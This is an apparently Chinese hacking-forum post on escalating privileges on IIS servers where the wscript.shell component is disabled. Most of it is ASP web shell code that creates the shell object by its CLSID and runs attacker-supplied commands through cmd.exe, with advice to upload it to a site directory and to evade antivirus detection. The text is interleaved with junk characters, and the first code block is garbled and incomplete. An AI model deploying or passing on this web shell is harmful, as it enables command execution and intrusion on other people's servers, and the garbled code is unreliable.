没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  0 d, j) a9 X2 q
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  " I0 ~% P$ k. W
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  ' D+ [" O+ S& W
• 把下面代码复制：
  % p- u/ z, J+ f7 U
• <%
  9 N) ^9 Z6 c$ A) ], c& N1 \
• end if
  
• response.write(”")
  4 R( t6 z/ c3 \' Y
• On Error Resume
  4 R! m0 ?& u4 J& x- c2 F
• Next
  8 J( n) j, a( I$ k* \
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  ( Z8 b* m! l, Z& w3 k, H- w
• response.write(”")
  
• response.write(”")
  
• response.write(”
  
• “)
  
• response.write(”")
  " ^8 Q* k, A+ Z' x& _. z. {. n' m
• %>
  ) z( D  q) C2 K5 T% g& J. b
• 保存为一个asp文件，然后传到网站目录上去
  
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  
• 我用此成功运行过cacls命令。
  9 s7 X8 H% u8 f/ l8 Y1 Y+ ^
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  
• <object runat=server id=oScriptlhn scope=page
  
• 
  ! O" S0 k/ r2 Y1 f/ P0 ?' a
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  9 @( Y- D: T* R
• <%if err then%>
  9 ~4 v5 q8 V( V* O0 @0 V' y
• <object runat=server id=oScriptlhn scope=page
  - h+ o& g4 U/ p5 \( m
• 
  / A  c, b6 j% \  @
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  
• <%
  0 u8 K! ?# z9 ^, c3 m  b% w
• end if
  : U. B2 O) T' C+ c; n
• response.write(”<textarea readonly cols=80
  
• 
  
• rows=20>”)
  6 L+ A4 [1 @) Z& r
• On Error Resume Next
  
• response.write
    r+ {* |" V& p. o5 t: b- C
• 
  6 O3 S1 o* {1 M* q6 I8 M: h
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  ) o" |: m" g& C6 B7 ]
• response.write(”<form
  
• 
  & @9 E! y+ x: Y
• method=’post’>”)
  - C& t: T. X' o. c
• response.write(”<input type=text name=’c'
  " @1 L. @# L" K8 N9 d2 Z* l: ^
• 
  
• size=60><br>”)
  ( H* h( x* \! f; i5 z
• response.write(”<input type=submit
  3 Q( P, O8 T8 }3 g
• 
  
• value=’执行’></form>”)
  
• %>
  
• 保存为ASP，此代码可能被杀，请注意免杀。
  
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  9 m* q' @6 V, A) _. q5 }

复制代码